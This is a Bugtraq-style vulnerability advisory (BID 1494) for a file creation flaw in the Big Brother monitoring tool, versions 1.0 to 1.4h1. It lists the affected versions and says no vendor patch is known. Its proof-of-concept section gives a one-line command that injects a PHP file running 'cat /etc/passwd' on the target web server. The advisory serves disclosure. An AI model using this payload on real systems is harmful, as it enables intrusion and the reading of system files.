BB4 Big Brother CGI File Creation Vulnerability
BID:1494
Info
BB4 Big Brother CGI File Creation Vulnerability
| Bugtraq ID: | 1494 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Jun 11 2000 12:00AM |
| Updated: | Jun 11 2000 12:00AM |
| Credit: | Posted to BugTraq on July 11, 2000 by xternal <[email protected]> |
| Vulnerable: |
Sean MacGuire Big Brother 1.4 h1 Sean MacGuire Big Brother 1.4 H Sean MacGuire Big Brother 1.4 g Sean MacGuire Big Brother 1.4 Sean MacGuire Big Brother 1.3 b Sean MacGuire Big Brother 1.3 Sean MacGuire Big Brother 1.2 Sean MacGuire Big Brother 1.1 Sean MacGuire Big Brother 1.0 9d Sean MacGuire Big Brother 1.0 9c Sean MacGuire Big Brother 1.0 9b Sean MacGuire Big Brother 1.0 |
| Not Vulnerable: | |
Discussion
BB4 Big Brother CGI File Creation Vulnerability
A vulnerability in Big Brother exists which would allow a user to remotely create CGI scripts which could be requested from the Web Server. These could be used to read files and possibly execute commands on the web server machine.
A vulnerability in Big Brother exists which would allow a user to remotely create CGI scripts which could be requested from the Web Server. These could be used to read files and possibly execute commands on the web server machine.
Exploit / POC
BB4 Big Brother CGI File Creation Vulnerability
./bb 1.2.3.4 "status evil.php3 <?<system(\"cat /etc/passwd\");?>"
will allow viewing of the /etc/passwd upon browsing to http://1.2.3.4/bb/logs/evil.php3.
./bb 1.2.3.4 "status evil.php3 <?<system(\"cat /etc/passwd\");?>"
will allow viewing of the /etc/passwd upon browsing to http://1.2.3.4/bb/logs/evil.php3.
Solution / Fix
BB4 Big Brother CGI File Creation Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].